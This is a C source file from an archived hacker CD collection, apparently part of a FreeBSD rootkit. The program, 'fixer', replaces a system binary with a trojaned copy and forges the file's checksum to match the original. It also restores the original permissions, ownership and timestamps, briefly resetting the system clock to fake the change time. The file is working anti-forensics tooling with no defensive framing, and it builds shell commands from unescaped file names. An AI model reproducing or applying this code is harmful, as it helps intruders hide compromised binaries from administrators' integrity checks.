home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / crh / freebsd / rootkit / fix.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-05-27  |  2.8 KB  |  167 lines

  1. /*
  2.  *    fixer.c
  3.  *    by Idefix 
  4.  *    inspired on sum.c and SaintStat 2.0
  5.  *    updated by Cybernetik for linux rootkit
  6.  *    text file busy bug fixed, no longer requires backup filename, grammar 
  7.  */
  8.  
  9. /* cleaned up for the FreeBSD rootkit */
  10.  
  11. #include <sys/types.h>
  12. #include <sys/stat.h>
  13. #include <sys/time.h>
  14. #include <stdio.h>
  15. #include <unistd.h>
  16.  
  17. #include "rootkitutil.h"
  18.  
  19. main(int argc,char **argv)
  20. {
  21.     unsigned orig_crc,current_crc,temp;
  22.     unsigned char diff1,diff2,buf[20];
  23.     struct stat statbuf;
  24.     struct timeval ftime[2], otime, ntime;
  25.     struct timezone tzp;
  26.     long position;
  27.     FILE *f;
  28.     int i,fix=1;
  29.     char syscmd[100];
  30.  
  31.     BASENAME(argv[0])
  32.  
  33.     if(argc!=3 && argc!=4)
  34.         USAGE("original replacement [backup]")
  35.  
  36.     if(stat(argv[1],&statbuf)<0)
  37.         ERR("stat")
  38.  
  39.     if(sum(argv[1],&orig_crc)<0)
  40.         exit(1);
  41.     if(sum(argv[2],¤t_crc)<0)
  42.         exit(1);
  43.  
  44.     if(argc==4) {
  45.         sprintf(syscmd,"/bin/cp %s %s",argv[1],argv[3]);
  46.         system(syscmd);
  47.     }
  48.  
  49.     sprintf(syscmd,"/bin/mv %s %s",argv[2],argv[1]);
  50.     system(syscmd);
  51.  
  52.     diff1=(orig_crc&0xFF)-(current_crc&0xFF);
  53.     temp=(current_crc+diff1)&0xFFFF;
  54.     
  55.     for(i=0;i<8;i++) {
  56.         if(temp&1)
  57.             temp=(temp>>1)+0x8000;
  58.         else
  59.             temp>>=1;
  60.     }
  61.  
  62.     diff2=((orig_crc&0xFF00)>>8)-(temp&0xFF);
  63.     temp=(temp+diff2)&0xFFFF;
  64.  
  65.     for(i=0;i<8;i++) {
  66.         if(temp&1)
  67.             temp=(temp>>1)+0x8000;
  68.         else
  69.             temp>>=1;
  70.     }
  71.  
  72.     if((temp-orig_crc)==1)
  73.         diff1=diff1-1;
  74.  
  75.     if(!(f=fopen(argv[1], "r+b"))) {
  76.         fprintf(stderr, "%s: Can't open %s\n",RK_PROG,argv[1]);
  77.         exit(1);
  78.     }
  79.  
  80.     fseek(f,0L,SEEK_END);
  81.     position=ftell(f)-17;
  82.     fseek(f,position,SEEK_SET);
  83.     fread(buf,17,1,f);
  84.  
  85.     for(i=0;i<17;i++)
  86.         if(buf[i]!=0) {
  87.             fprintf(stderr,"%s: Last 17 bytes not zero\n%s: Can't fix checksum\n",
  88.                 RK_PROG,RK_PROG);
  89.             fix=0;
  90.             break;
  91.         }
  92.  
  93.     if(fix) {
  94.         buf[0]=diff1;
  95.         buf[8]=diff2;
  96.         fseek(f,position,SEEK_SET);
  97.         fwrite(buf,17,1,f);
  98.     }
  99.  
  100.     fclose(f);    
  101.     
  102.     if(chmod(argv[1],statbuf.st_mode))
  103.         ERR("chmod")
  104.     
  105.     if(chown(argv[1],statbuf.st_uid,statbuf.st_gid))
  106.         ERR("chown")
  107.     
  108.     ftime[0].tv_sec=statbuf.st_atime;
  109.     ftime[1].tv_sec=statbuf.st_mtime;
  110.     ntime.tv_sec=statbuf.st_ctime;
  111.     ftime[0].tv_usec=ftime[1].tv_usec=ntime.tv_usec=0;
  112.     
  113.     
  114.     if(gettimeofday(&otime,&tzp))
  115.         ERR("gettimeofday")
  116.     
  117.     if(settimeofday(&ntime,&tzp))
  118.         ERR("settimeofday")
  119.     
  120.     if(utimes(argv[1],ftime))
  121.         ERR("utimes")
  122.  
  123.     if(settimeofday(&otime,&tzp))
  124.         ERR("settimeofday")
  125.  
  126.     fprintf(stderr,"%s: File %s fixed\n",RK_PROG,argv[1]);
  127.     return(0);    
  128. }
  129.  
  130.  
  131. sum(char *file,unsigned *crc)
  132. {
  133.     unsigned sum;
  134.     int i, c;
  135.     FILE *f;
  136.     long nbytes;
  137.     int errflg=0;
  138.  
  139.     if(!(f=fopen(file, "r"))) {
  140.         fprintf(stderr, "%s: Can't open %s\n",RK_PROG,file);
  141.         return(-1);
  142.     }
  143.  
  144.     sum=0;
  145.     nbytes=0;
  146.  
  147.     while((c=getc(f))!=EOF) {
  148.         nbytes++;
  149.         if(sum&01)
  150.             sum=(sum>>1)+0x8000;
  151.         else
  152.             sum>>=1;
  153.         sum+=c;
  154.         sum&=0xFFFF;
  155.     }
  156.  
  157.     if(ferror(f)) {
  158.         errflg++;
  159.         fprintf(stderr, "%s: read error on %s\n",RK_PROG,file);
  160.         return(-1);
  161.     }
  162.  
  163.     fclose(f);
  164.     *crc=sum;
  165.     return(0);
  166. }
  167.